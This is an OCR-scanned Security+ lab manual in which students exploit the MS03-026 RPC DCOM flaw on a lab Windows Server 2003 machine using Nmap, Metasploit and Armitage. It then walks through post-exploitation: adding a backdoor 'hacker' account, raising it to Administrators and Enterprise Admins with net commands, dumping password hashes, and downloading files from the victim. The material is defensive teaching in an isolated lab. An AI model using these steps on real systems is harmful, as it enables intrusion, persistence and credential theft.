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Lab 9: Analyze and Differentiate Types of Application Attacks

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will exploit a remote system running Windows Server
2003 using the Microsoft Remote Procedure Call (RPC) Distributed Component Object
Model (DCOM) Buffer Overflow. This particular vulnerability was issued as Security
Bulletin MS03-026 by Microsoft. Students will exploit this vulnerability on a remote
system and then run a series of commands on the victim machine. After completing this
lab, students will have a more comprehensive understanding of how attackers
penetrate systems and the importance of locking down machines.

This lab includes the following tasks:

e Task 1-Scanning the Network for Vulnerable Systems

e Task 2 - Introduction to Metasploit, a Framework for Exploitation
e Task 3 - Attacking a Remote System Utilizing Armitage

e Task 4 - Post Exploitation of the Remote System

2 Objective: Analyze and Differentiate Types of Application Attacks

Hackers can exploit weaknesses in computer systems when vulnerabilities exist. An
individual responsible for the network security of a company will need to patch systems
that have vulnerabilities. It is also a best practice for a network administrator to shut
down any unnecessary services that are running on their systems. If systems are not
maintained or properly secured, hackers can take advantage of them. After a hacker
breaks into a remote system, they will take steps to entrench themselves by creating
accounts, stealing credentials, and infiltrating data from the network. During this lab,
the student will play the role of an attacker in which they identify and exploit a target
machine.

For this lab, the following terms and concepts will be of use:

Nmap — Nmap is a program that can be used in Linux, Mac, or Windows to locate
machines on a network. After Nmap is used to discover machines on a network, it can
also be utilized to determine which open Transmission Control Protocol (TCP) and User
Datagram Protocol (UDP) ports the machine has open. Nmap will give an indication of
the operating system the remote machine is using. Zenmap is a GUI frontend for Nmap.
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Lab 9: Analyze and Differentiate Types of Application Attacks

Metasploit [1] — Metasploit is an exploitation framework. Version 3 of Metasploit is
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.
Some exploits are for the operating systems themselves and others are for applications
such as Adobe Reader and Internet Explorer. There is a detailed description of each
exploit, which explains which version of the operating system, or application software is
vulnerable.

Windows Command Shell - The Windows command shell allows users to interact with
the operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. The Windows Command Shell is one of the payloads that can be used
within Metasploit. If a system is vulnerable to an exploit and a hacker launches a
successful attack, a command shell can be sent from the victim’s machine to the
attacker. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system.

Meterpreter Shell - Meterpreter is another payload that can be used within Metasploit.
The meterpreter environment allows the user to interact with the operating system
much like the Windows command prompt, except that the meterpreter shell is even
more powerful and has a set of unique commands that specifically deal with
exploitation. The meterpreter payload also allows the user to spawn a command shell.

Armitage [2] — Metasploit is a very powerful exploitation framework but it requires that
the user be comfortable using the command line. Armitage is a GUI frontend for
Metasploit that has many powerful capabilities. An attacker can use Armitage to
identify and exploit victim machines within an easy to use graphical environment.
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Lab 9: Analyze and Differentiate Types of Application Attacks

4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine 192.168.100.3
BackTrack 5 root password password
Windows 2k3 Internal Victim Machine 192.168.100.201
Windows 2k3 Server administrator password password

BackTrack 5 Login:

1. Click on the BackTrack 5 icon on the topology.
2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Password: .

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[+] To start a graphical interface, type
[*]1 The default root password is " =

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up
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Lab 9: Analyze and Differentiate Types of Application Attacks

Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

* 7 Windows Server2003

¥ Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: IAdministrator

Password: I oooooooo|

| 9% |  concel | options>>
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Lab 9: Analyze and Differentiate Types of Application Attacks

Task 1 Scanning the Network for Vulnerable Systems

Nmap, or network mapper, is free and runs on multiple platforms including Microsoft
Windows, Mac, and Linux. It can be used to determine which hosts are up on the
network and then can determine which Transmission Control Protocol (TCP) and User
Datagram Protocol (UDP) ports a remote system has running.

Zenmap is a GUI frontend for Nmap, which provides the user with detailed information
about the machines they are scanning. The detail includes by Zenmap included banner
messages, which are greetings, made to machines connecting to a port. Using the
information gathered during the scan, Zenmap will provide you with a determination of
what the remote machine’s operating system is. Once the attacker determines the
version of the operating system and corresponding service pack level, they can search
for an exploit that works for that specific version of the operating system.

Task 1.1 Scanning the Network Using Nmap and Zenmap

Open a Terminal to Get Started

1. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

A v X root@bt: ~
File Edit View Terminal Help

Figure 4: The Terminal Windows within BackTrack

2. Type the following command into the command prompt to conduct a ping scan
to find hosts on a network: (Note: Linux is case sensitive, small S and capital P)
root@bt:~#nmap —sP 192.168.100.0/24
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Lab 9: Analyze and Differentiate Types of Application Attacks

You should see, at least, these 2 results: 192.168.100.3 (attacker) and 192.168.100.201
(victim).

~ vooX root@bt} ~
File Edit View Terminal Help
~# nmap -sP 192.168.100.0/24

‘nmap.org ) at 2012-01-05 20:46 EST

Figure 5: The Results of a Ping Scan using Nmap with the —sP option

The results of the Ping Scan indicate that, at least, two hosts on the 192.168.100.0/24
network are up. However, there could be other hosts that are up, which have their
firewalls enabled or are not responding to Internet Control Message Protocol (ICMP)
requests.

Now that the victim machine’s IP Address has been identified, we are ready to find out
more information about it, including the following:

e Open Transmission Control Protocol (TCP) Ports
e Open User Datagram Protocol (UDP) Ports

e Operating System and Service Pack Level

e Banner Messages

3. For step 3, we will use Zenmap, the Graphical User Interface (GUI) frontend to
Nmap. To start Zenmap, type Zenmap at the BackTrack terminal.
root@bt:~# Zenmap

A v X% root@bt: ~
File Edit View Terminal Help

Zenmap

Figure 6: Typing Zenmap into the BackTrack Terminal
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Lab 9: Analyze and Differentiate Types of Application Attacks

4. After the Zenmap GUI tool opens, type 192.168.100.201, the address of the
Windows 2k3 Server victim machine, into the target box and click the Scan
button.

Zenmap

Target: [192.163.100.201| | v |

| Profile: |Intensescan

Command: |nmap -T4 -A -v 192.168.100.201 |

Hosts | Services Nmap GUl'PUt|Ports,.‘Hasts Topology Host Details Scans

Qs Host v | v | |Zlern- 5

Figure 7: Entering the Target IP Address in Zenmap

Viewing the Results

Your Zenmap scan may take about 5 minutes to complete. After it is complete, the IP
Address of the Target machine will be displayed in the left hand pane of Zenmap. Click
on the Ports/Hosts Tab within Zenmap to view the open ports and banner messages.

< Zenmap
Target: |192.168.100.201 | v | Profile: |intense scan [ v] [scan| [cance
Command: |nmap -T4 -A -v 192.168.100.201
Services Nmap Dutput‘ Ports [ Hosts ‘ Topology Host Details Scans
os Host Port Protocol State Service Version

21 tcp open | ftp Microsoft ftpd
|23 tcp open telnet Microsoft Windows XP telnetd
o |25 tcp open smtp Microsoft ESMTP 6.0.3790.0
« |53 tcp open domain Microsoft DNS
& |80 tep open | http Microsoft 1IS httpd 6.0
o |88 tcp open kerberos-sec Microsoft Windows kerberos-sec
« 110 tcp open pop3 Microsoft Windows 2003 POP3 Service 1.1
o 135 fcp open msrpc Microsoft Windows RPC
139 tcp open netbios-ssn
« 389 tcp open Idap
o/ 445 tcp open microsoft-ds Microsoft Windows 2003 or 2008 microso
464  tcp open  kpasswds
o 593 tcp open ncacn_http | Microsoft Windows RPC over HTTP 1.0
o 636 tcp open Idap
1025 tcp open msrpc Microsoft Windows RPC v

| Filter Hosts | S ————— Lo

Figure 8: Zenmap Reports the Open Ports and the Banner Messages of the Scanned Machine
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Lab 9: Analyze and Differentiate Types of Application Attacks

Clicking on the Host Details Tab will provide you with additional information about the
Target. Zenmap is identifying the remote operating system as Windows XP Service Pack
2 or Windows Server 2003 with no Service Pack. (Zenmap would have also indicated the
Service Pack level for Windows Server 2003 but it does not have one installed.) When
we examined the open ports on the Ports/Hosts tab of Zenmap, most of the results
seemed to indicate that the remote system was running Windows Server 2003. Many of
the ports that were reported to have been open like Lightweight Directory Access
Protocol (LDAP) and Post Office Protocol Version 3 (POP3) are not typically open on
client machines running Windows XP. Therefore, we are pretty safe to assume it is
Server 2003.

Although you are already aware that the machine is running Windows Server 2003, the
hacker would not know for sure and would have to guess based on Zenmap’s results.

Nmap Output Ports / Hosts 1bpology! Host Details | Scans

—||192.168.100.201|
- | Host Status
State: up
Open ports: 25 -
Filtered ports: 0O
Closed ports: a7s
Scanned ports: 1000

Up time: Mot available .
Last boot: Mot available

— Addresses
IPv4: 192.168.100.201

IPv6: Mot available
MAC: 00:50:56:98:00:96

— | Operating System
MName: Microsoft Windows XP Professional SP2 or Windows Server 2003

Accuracy

Figure 9: The Host Details of the Zenmap Scan

5. You can save the scan by selecting scan from the Zenmap menu bar and
choosing Save Scan. For the name, type in server2003, and click Save.
Close the Zenmap program and the terminal window you opened by clicking the
X button.

* Zenmap
Scan Tools Profile Help
New Window

Open 5can

Open Scan in This Window

Save 5can

Figure 10: Saving the Zenmap Scan
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Lab 9: Analyze and Differentiate Types of Application Attacks

Task 1.2 Conclusion

Nmap is a scanning tool that can provide you information about which remote machines
are up and running, which ports they have open, and what operating system they are
running. Zenmap is a GUI frontend for Nmap, which provides the user banner messages
that are responses from the remote machine providing details about the operating
system. Zenmap scans can be saved so that they can be analyzed at a later time.

Task 1.3 Discussion Questions

1. What features of Nmap are useful for people working in the field of information
assurance?

2. What s the purpose of a banner message and how might hackers use these
messages to their advantage?

3. Type Nmap —sU 192.168.100.201 from the terminal in BackTrack to perform a
UDP scan. Are the UDP ports that are open the same as the TCP ports?

4. Type Nmap -0 192.168.100.201 from the terminal in BackTrack to perform an
OS fingerprint scan. Does Nmap give you the same OS version that Zenmap did?
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Lab 9: Analyze and Differentiate Types of Application Attacks

Task 2 Introduction to Metasploit, a Framework for Exploitation

Metasploit has exploits for the Windows, Mac, Linux, and UNIX operating systems, as
well as some exploits for mobile devices like the iPhone and Droid. It actually started
out as a game but has evolved into a serious tool that can be used to exploit
vulnerabilities. Metasploit is available in both free and commercial editions and is
maintained by the company Rapid 7. Understanding how an attacker can use a tool like
Metasploit can help a network administrator have a better understanding of network
security and the importance of hardening their systems.

Task 2.1 Launch Metasploit and Explore the Available Options

To launch Metasploit and explore Metasploit, type the following commands:

1. Open anew terminal on the BackTrack 5 system by clicking on the picture to the
right of the word System in the task bar in the top of the screen.

2. Type msfconsole to launch Metasploit. The banner you see may be different
from the one in the picture below. Type banner to change the banner.
root@bt:~# msfconsole

:~# msfconsole

MMMMM MMMMM
MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMM MMMMMMM MMMMM
MMMMM  MMMMMMM @ MMMMM
MMMNM  MMMMMMM  MMMMM
WMMMM MMMMMMM  MMMM#
?MMNM MMMMM
T 7MMM MMMM®
?MM MM?

Figure 11: The msfconsole of Metasploit
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Lab 9: Analyze and Differentiate Types of Application Attacks

3. At the msf prompt, type the ? to see a list of available commands.
msf > ?

~ v % root@bt: ~
File Edit View Terminal Help

« from the current context
an awesome metasploit banner
Change the current wor F y
Toggle color
Communicateswith agho
Exit.the console
Help menu
Displays information abou

Figure 12: Commands Available within Msfconsole

4. To view what Metasploit has to offer, type the following 5 commands:

Command to Type at msf console | Results

show all Shows all exploits, payloads, etc
search exploit/windows Shows all Windows Exploits
search exploit/linux Shows all Linux Exploits

search exploit/unix Shows all Unix Exploits

search exploit/osx Shows all Macintosh Exploits

Figure 13: Searching for Exploits within the Metasploit Framework
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5. The victim machine we are attacking is running Windows Server 2003, so we
need to search through the Windows exploits and find one that works for 2003.
Type search exploit/windows at the msf prompt to view Windows exploits.
msf > search exploit/windows

6. To view more about an individual exploit, we can use the info command. The
info command will tell us which operating system the exploit works on.
Let’s take a look at the last Windows exploit listed to see what information is
provided about the exploit to determine if it can be used against the target.
Type the following command into the msf console to view exploit information:
msf > info exploit/windows/wins/ms04_045_wins

A v X root@bt: ~
File Edit View Terminal Help

msf > info exploit/windows/wins/ms@4 045 wins

Name: Microsoft WINS Service Memory Overwrite
Module: exploit/windows/wins/ms@4 045 wins
Version: 10394
Platform:
Yes
icense: Metasploit Framework License (BSD)
Rank: Great

Provided by
hdm <hdm@metasploit.com>

lable targets:
Id Name

@ |Windows 2000 English

Required «Description

RHOST
RPORT |42

Figure 14: The Description of the ms04_045_wins Exploit
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Lab 9: Analyze and Differentiate Types of Application Attacks

It is very unlikely that this exploit will work on our target because the exploit is designed
for a different operating system, Windows 2000, and the scan did not show port 42
open.

If we go back and review the results of the Nmap scan of the Windows 2003 server,
We can see that the OS appears to be different; and, although the WINS port, port 42, is
not open, it is apparent that the Remote Procedure Call, or RPC, port is open.

Zenmap

Target: |192,168,100,201 | v | Profile: |Intense scan | v | | Scan| Cance
Command: |nmap -T4 -A -v 192.168.100.201 |
Hosts Services Nmap Dutput| Ports / Hosts ‘ Topology Host Details Scans
os T = Port Protocol State Service Version
o |21 tcp open  ftp Microsoft ftpd
« |23 tcp open telnet Microsoft Windows XP te
No port 42 $ |25 tcp open smip Microsoft ESMTP 6.0.379
« |53 tcp open domain Microsoft DNS
«/ |80 tcp open http Microsoft 115 httpd 6.0
«/ |88 tcp open kerberos-sec Microsoft Windows kerbe
' 1110 tcp open pop3 Microsoft Windows 2003
135 tcp open MSIpc Microsoft Windows RPC
« 139 tcp open netbios-ssn
«f 389 |tcp open Idap
« | 445 tcp open microsoft-ds Microsoft Windows 2003
o 464 |tcp open kpasswds
« 593 tcp open ncacn_http  Microsoft Windows RPC ¢
o/ |636 | tcp open Idap
«f | 1025 | tcp open msrpc Microsoft Windows RPC
« |1026 | tcp open msrpc Microsoft Windows RPC
o/ | 1028 | tcp open ncacn_http | Microsoft Windows RPC
« |1038 | tcp open msrpc Microsoft Windows RPC
«f 1039 |tcp open msrpc Microsoft Windows RPC
«f 1042 |tcp open msrpc Microsoft Windows RPC
«f 1045 |tcp open msrpc Microsoft Windows RPC J »
'} Fre—
| Filter Hosts s 0000000000000 -

Figure 15: The Viewing the Results of the Nmap Scan

7. Search for an RPC exploit by typing search rpc within the msf console
msf > search rpc

root@bt: ~

Figure 16: Searching for RPC Vulnerabilities
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Lab 9: Analyze and Differentiate Types of Application Attacks

As we examine the results of our search, we will see that the exploits are listed last. The
name of the exploit is listed within Metasploit, as well as the release date, the
effectiveness rating of the exploit, and a description of what vulnerability the exploit
affects.

Figure 17: A list of Exploits for Microsoft Remote Procedure Call

8. Let’s examine the first of the RPC vulnerabilities in the list, the first of which is
the Microsoft RPC DCOM Interface Overflow. To get detailed information about
what operating system is vulnerable and find out what port needs to be open,
type the following command into the msf console of Metasploit:
msf > info exploit/windows/dcerpc/ms03_026_dcom

Sl R roof@btﬁ ~
File Edit View Terminal Help

msf > info exploit/windows rpc/ms03 026 dcom

ft RPC DCOM
/windows/

Available targe
Id Name

Windows NT SP JO0/XPA2003 Un

Figure 18: A Description of the Microsoft RPC DCOM Buffer Over flow Interface
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Lab 9: Analyze and Differentiate Types of Application Attacks

The description of the exploit stated it would work on Windows Server 2003, as well as
some other operating systems that were not our target. Another key piece of
information in the description was that port 135 had to be open for the exploit to work.
According to the scan we completed previously with Zenmap, port 135 was open.

192.168.100.201

Nmap Output | Ports / Hosts l Topology Host Details Scans

Port | Protocol State  Service Version
o 21 tcp open fip Microsoft ftpd
o 23 tcp open telnet Microsoft Windows XP tel
|25 tcp open smtp Microsoft ESMTP 6.0.379¢
o 53 tcp open domain Microsoft DNS
o 80 tcp open  http Microsoft I1S httpd 6.0
o 88 tcp open kerberos-sec Microsoft Windows kerbe
110 fcp open pop3 |Micm50ft Windows 2(}031
o 135 tcp open msrpc Microsoft Windows RPC
« 139 tcp open netbios-ssn
o 389 tcp open ldap
o (445 | tcp open  microsoft-ds [Microsoft Windows 2003}

Figure 19: Examining the Target System to Determine the OS and Open Ports

So, at this point, we have an exploit that we can try to utilize against the victim machine.
Keep in mind that even if the operating system matches the one in the description of
the exploit and the port is open, it may not necessarily work. Trial and error is an
essential part of security research. Also, keep in mind that port 135 is typically not an
Internet facing port, meaning this port is unlikely to be open on any system connected
to the Internet. An attack in this manner would likely only be successful on an internal
network.

9. Type the following command into the msf console to leave Metasploit:
msf > exit

x root@bt: ~

File Edit View T

nttp://

Figure 20: Using the Exit command to leave Metasploit
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Task 2.2 Conclusion

Metasploit is a framework that contains exploits for a variety of operating systems
including Macs, Linux, UNIX, and Windows. A user can interact with Metasploit by typing
msfconsole from the terminal within BackTrack. Once msfconsole has been launched,
the user has the ability to search through the list of available exploits and other
modules. To determine if the exploit is suitable for the target system, the user can
utilize the info command to get more detailed information about a specific exploit.

Task 2.3 Discussion Questions

What is the command used to show all Windows exploits in Metasploit?

What is the command used to show all Macintosh exploits in Metasploit?

How can you learn more information about a particular exploit?

Launch msfconsole again. Use the banner command until you are able to get the
picture of the cow. Type exit to leave the msfconsole environment.

PN E

A v X root@bt: ~
File Edit View Terminal Help

a) 7 encoders
r13462 updated (2011.08.01)

: This copy of the Metasploit Framework was last updated j
We _recommend“that you update the framework '@t least every other day.
information on"updating your copy of Metasploit; please see:

https://community.rapid?7.com/docs,

Figure 21: The Metasploit Cow has Special Hacking Powers
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Lab 9: Analyze and Differentiate Types of Application Attacks

Task 3 Attacking a Remote System Utilizing Armitage

In this section, you will be introduced to Armitage, a Graphical User Interface, or GUI,
front end for Metasploit. The website for Armitage, which was developed by Raphael
Mudge, is fastandeasyhacking.com. Armitage provides the user with a visual interface
that will help them understand what is happening in the background of Metasploit.

Task 3.1 Using Armitage

1. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

2. Type armitage in the terminal to launch the Armitage program:
root@bt:~# armitage

x root@bt: ~

Edit View Terminal Help

# armitagel}

Figure 22: Launching Armitage

3. A Connect box will appear on your Screen. Click the Start MSF radio button in
the lower left hand corner of your screen. Ignore the initial error message.

* Connect...

Host 127.0.0.1
FPort 55553

[ | Use s5L

User msf

Pass test

DE Driver postgresqgl v |

DE Connect string msf3:"eccd8310"@127.0.0.1 2

—eermeep|| Start MSF ||| Help |

Figure 23: Click the Start MSF button to Launch Armitage
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From the Armitage menu, click Hosts, and select Add Hosts.
Type 192.168.100.201, the IP Address of the victim machine, and click add.
You should receive a message that states imported 1 file. Click OK.

Tew IalhEE- Attacks Works

v mogEHosts
Add Hosts...
d

MSF Scans

Clear Hosts

Figure 24: Adding a Host to Armitage

In the top right pane of Armitage, right click; select Auto-Layout and Hierarchy.

Auto-Layout  »

Hierarchy

Layout >
Zoom » Stack

Mone

Figure 25: Adjusting the Auto-Layout Settings

Drag the computer icon to the center of the top right pane of Armitage. At this
point you should be able to view the icon representing the victim machine.
Notice that the operating system of the remote machine has yet to be identified.

192.168. 100, 201

Figure 26: Victim Machine Represented by a Computer Icon
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7. Right click on the host in the Armitage pane and select scan.
Click ok in response to the message “Launched 20 Discovery Modules”.

Services

Scan

Figure 27: Scanning the Victim Machine

8. You target will now be identified as a Windows machine. If you hover over the
icon, the remote machine will be identified as Windows Server 2003 SPO.

Microsoft Windows 2003 SPO

192,168, 100, 201

Figure 28: The Victim Machine's Operating System is Identified

9. From the Attacks menu in Armitage, select Find Attacks then select by port.

Wait until you receive the message from Armitage that says “Happy Hunting”.
Click OK.

el el Workspaces Help

Find Attacks

Browser Attacks » | bywulnerability

Cra=il Att=eles [

Figure 29: Finding Attacks by Port
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10. Right click on the icon representing the victim in the Armitage pane and select
Attack, dcerpc, and then ms03_026_dcom. An attack Window will pop up.

ms03 026 dcom

Services check exploits...

Cran

Figure 30: Finding Attacks by Port

11. In the Launch Window, the title should be Attack 192.168.100.201. Notice that a
description of the exploit is provided. Also notice that the remote port of 135 is
listed at the bottom under RPORT. Click the Launch Button to attack.

* Attack 192.168.100.201

Microsoft RPC DCOM Interface Cverflow

This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was
originally found by the Last Stage of Delirium research group and has been widely
exploited ever since. This module can exploit the English versions of Windows NT 4.0
SP3-Ga, windows 2000, Windows ¥P, and Windows 2003 all in one request :)

Option 4| Walue

LHOST 192,168.100.3
LPORT 10312

RHOST 182.168.100.201
RPORT 135

Targets: |0 == Windows NT SP2-6a/2000/%P/2003 Universal v]

|| Use areverse connection

|| Show advanced options

_” Launch

Figure 31: Launching the Attack against the Victim Machine
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If the attack is successful, the victim machine will turn red. If it does not work, you may
need to attempt to launch the attack again. If all else fails, reboot the Windows Server.
Once the attack is successful, the victim is considered to be in a compromised state.

192, 168.100.201
NT AUTHORITY\SYSTEM @ WIN2K3DC

Figure 32: The Attacker is Connected to the Victim Machine

Notice that the level of access of NT AUTHORITY\SYSTEM is displayed at the bottom of
the screen. This is actually a higher level of access than the administrator account. The
SYSTEM account is reserved and users are not permitted to log in as this account.

Task 3.2 Conclusion

Armitage is a GUI frontend for Metasploit that allows attackers to scan, identify, and
exploit remote operating systems. After scanning a machine, Armitage will report what
operating system and service pack level the target machine is using. The Armitage tool
then allows the attacker to find attacks by open ports. If the attacker is able to
successfully connect to a victim machine, the victim will be displayed with a red border.

Task 3.3 Discussion Questions

Armitage is a GUI front end for what exploitation tool?

What message does Armitage display after you try to find attacks by port?
Explore the Armitage menu. What are some other features of the tool?

At what point is the victim machine considered to be compromised?

PwwnN e
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Task 4 Post Exploitation of the Remote System
In this section, you will focus in on the things a hacker does after they break into a

system. This can include, but is not limited to, altering the system as well as stealing
credentials and data.

You must successfully complete Task 3 before starting Task 4.1.

Task 4.1 What the Hacker Does After They Get In

1. Right click on the compromised host, select Meterpreter from the menu, select
Interact, and select Command Shell. This gives you a command prompt on the
victim’s machine. When you run commands, they run on the compromised host.

Services

Interact = :
Scan = Command Shell

Explore Meterpreter Shell
Host Pivoting B
ARP Scan... —

ll

Figure 33: Obtaining a Command Prompt on the Victim Machine

2. Inthe bottom pane of Armitage, click the cmd.exe tab. You should see Microsoft
Windows in the top of the cmd.exe pane. The bottom of the cmd.exe pane
places you in the C:\Windows\System32 directory, the location of most
Windows’ executables. Here you can type commands on the victim’s machine.

[ Conscle x ¥Tmd.ex@y64@1 x|

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\sys tem32>

Figure 34: A Command Prompt on the Victim’s Machine
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3. Type the following command to add a user called hacker to the machine:
C:\WINDOWS\system32> net user hacker P@sswOrd /add

| Console X [ cmd.exe 764@1 }{]

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32> net user hacker P@sswOrd /add

The command completed successfully.

C: \WINDOWS\system32=>

Figure 35: Adding a User to the Compromised Machine

You should receive a message from the operating system that "the command completed
successfully”. Adding a user makes sense for the attacker, because they may want to
access the system at a later date, and they now have an account with the password of
P@sswOrd. The next step for the hacker will be to make the account an Administrator.

4. Type the following to make hacker a member of the administrators group:
C:\WINDOWS\system32> net localgroup administrators hacker /add

| Console X [ cmd.exe 764@1 X

The command completed successfully.

C: \WINDOWS\system32> net localgroup administrators hacker /add
The command completed successfully.

C: \WINDOWS\sys tem32>

Figure 36: Adding the User to the Administrator’s Group

You should receive a message from the operating system stating that "the command
completed successfully”. The next step is to verify that the hacker account is on the
system and has been successfully added to the administrator’s group.

5. Type the following command to view all administrators on the system:
C:\WINDOWS\system32> net localgroup administrators
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Console ¥ | cmd.exe 764@1 X]

C:\WINDOWS\system32> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Administrator

Domain Admins

Enterprise Admins

hacker

phair

tjefferson

The command completed successfully.

C: \WINDOWS\s5ys tem32>

Figure 37: Viewing the Administrator’s Group

While an administrator has administrative privileges on a single machine, he does not
always have unrestricted access to all of the resources on the network. The most
powerful account in a Windows domain environment is the Enterprise Admin. This
account has access to all of the domains in the Active Directory forest. If this level of
access is obtained, the whole network should be considered compromised, because the
attacker would have the ability to access all machines within the domain in the network
infrastructure.

6. To add hacker to the Enterprise Admins group, type the following command:
C:\WINDOWS\system32> net group “enterprise admins” hacker /add

C:\WINDOWS\system32> net group "enterprise admins" hacker /add
The command completed successfully.

C: \WINDOWS\System32>

Figure 38: Adding the Account to the Enterprise Admins account

You should receive a message from the operating system stating, "the command
completed successfully”. The group "enterprise admins" must be quoted because of the
space in the name. Domains use group, while localgroup is for individual machines.

While the command prompt is a powerful environment where virtually any type of
administration can be done, the Meterpreter environment is even more powerful.
Meterpreter gives the attacker the ability to clear logs, dump password hashes, kill
services, list processes, take screen shots, and upload and download files.
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7. To obtain a Meterpreter shell, right click on the compromised host, select:
Meterpreter 1, Interact, and then select Meterpreter Shell.

I. .. - l -I- L i
NT AUTHORITY\SYSTEM Meterpreter 1

Services
M Interact @l Command Shell
Scan Explore > T
Exp Meterpreter Shell
>

— aes
ARP Scan... _

il

Figure 39: Obtaining a Meterpreter Shell

Type ? at the Meterpreter shell to see a list of the available commands.

8. Type sysinfo to view information about the victim machine:
meterpreter > sysinfo

[ Console X T cmd.exe 1800@1 X Meterpreter T2

meterpreter = sysinfo
Computer : WINZK3DC
0s : Windows .NET Server (Build 3790).

Architecture X386

System Language en_Us
Meterpreter x86,/win32

meterpreter =

Figure 40: Getting Information about the System

The name of the computer, WIN2K3DC, is provided, the operating system is given, and
the fact that the system is a 32-bit operating system, not a 64-bit one, is listed.
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9. Type hashdump to view all the password hashes on the remote system:
meterpreter > hashdump

[ Console X I cmd.exe 1800@1 X '
user57600: 1145: dc936b0adc42096faad3b435b51404ee: 4a45e065c T024af109380a320e2087d80: : :
user6:1146: 4b69433bb465Td3T655c302be 158781b: 6ec688e4d7a23d95b 1ed8173a7234899: : :
user7?§00: 1147:51159bc0571e0588f45d978722¢23641: 9c01c3999dcBee21deabdcalacOOcOfc: : ;
users: 1148: 675aa618624c62a14c9c55bTeeaddcf9: 7cad42163b7266c830e8048c27c07cad: :

user9:1149: bct83d99das5079230c94698d7b3c21a3: e8678b53bal1574f 762070352014965dc: : :
userlo?]]: 1150: 20df349790cab63679421fc5d2c2d9fa: fae330f73f6a5eb00ech2dc5e828b960: : :
hacker?[J:1151:921988ba001dc8e14a3b108f3fabch6d: e 19cc T 75ee54e06b06a5907at13cef42
WINZK3DCSL: 1003: aad3b435b51404eeaad3b435b51404ee : f77778586be68075ca09ec847bb93a6e: : :
meterpreter =

Figure 41: Dumping the Password Hashes on the Remote System

Once the attacker has the password hashes, they can use a tool like John the Ripper or
Cain and Abel to crack the passwords. There are also websites such as nediam.com.mx
that will provide you with the password when you input the LM or NT hash.

Armitage allows you to use many of the features of Meterpreter by right clicking on the
compromised host and selecting explore. The explore menu of Armitage allows you to
browse files, show processes of the victim, or take a screenshot, or webcam shot.

10. Right click on the icon representing the compromised machine, select
Meterpreter 1, then select Explore, and then select Screen shot.

; Access »
Senvices Interact >

Scan
- Explore E Browse Files
[

Host Pivoting Show Processes
R Key Scan

Kl Screenshot
Webcam Shot

Post Modules

Figure 42: Getting a Screenshot of the Remote Machine
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The screen shot will appear in the bottom pane of Armitage. It may appear differently
than the one in the picture below, depending upon if you are logged on the Windows
2003 Server system.

[ Console X T cmd.exe 1800@1 X T Meterpreter 1 X

My Carmnpilber

Figure 43: A Screenshot of the Remote Machine

11. To browse through the files on the remote system, right click on the
compromised host, select Meterpreter 1, Explore, and then select Browse Files.

(T

Attack
Login

Meterpreter 1 P

102,168, 100, 2 (el Interact

NT AUTHORITY\SYSTEM Qjelel Explore
Host Pivating
ARP Scan...

Browse Files
P [ show Processes
Key Scan
Kill Screenshot
Webcam Shot

Post Modules

Figure 44: A Screenshot of the Remote Machine
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12. Click on the Files 1 tab in the bottom pane of Meterpreter. Change the folder
location from C:\WINDOWS\system32 to C:\ and hit enter. You can now browse
the files and folders on the C drive of the victim machine. Find DcList.xml in the
list, right click on the file and select Download. You will receive the message
saved DcList.xml. Find Domainlist.xml in the list, right click on the file and select
Download. You will receive the message saved Domainlist.xml.

=

Console X T cmd.exe 1800@1 X I Meterpreter 1 X I Screenshot 1 X

3 TN R —
D &| Name | Size | Modified
[ﬁ Documents and Settings 2010-11-11 20:21:10 -0500
@ 1388 2008-07-03 17:06:09 -0400
ﬁ Inetpub 2010-01-1810:19:50 -0500
[ﬁ’ Program Files 2009-12-0213:30:35 -0500
ﬁ RECYCLER 2009-12-02 13:09:42 -0500
[ System Volume Information 2012-01-07 19:06:32 -0500
ﬁ Temp 2008-07-21 19:55:43 -0400
ﬁ WINDOWS 2011-10-2511:28:38 -0400
[ﬁ wmpub 2008-07-03 16:50:48 -0400
AUTOEXEC.BAT 0Ob 2008-07-02 16:50:20 -0400
CONFIG.SYS ob 2008-07-02 16:50:20 -0400
DMNSRecords.txt 702b 2011-10-24 13:10:41 -0400
DOMAIN-REMAME-README.DOC 27kb 2003-03-25 07:00:00 -0500

2011-10-2413:11:13 -0400
2011-10-24 13:10:04 -0400

Dclist.xml

Domainlist.xml

Figure 45: File Management Utility of Armitage

13. To view the files on the attacker machine, click Places and select Home Folder.

 Applications Places System [_]

" Home Folder
v | X rnnip:

Personal

i root Network

Deskto - -
= P Connect to Server... DcList.xml Domainlist.xml
15, Trash

Figure 46: The Exfiltrated Files, Stolen from the Victim

Double click on either of the XML files within root’s home folder to view their content.

14. Close the both the Armitage window and the terminal window.
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Task 4.2 Conclusion
Armitage allows a user to scan remote systems, find attack avenues, and exploit their

vulnerabilities. After a system is exploited, Armitage allows you to complete post-
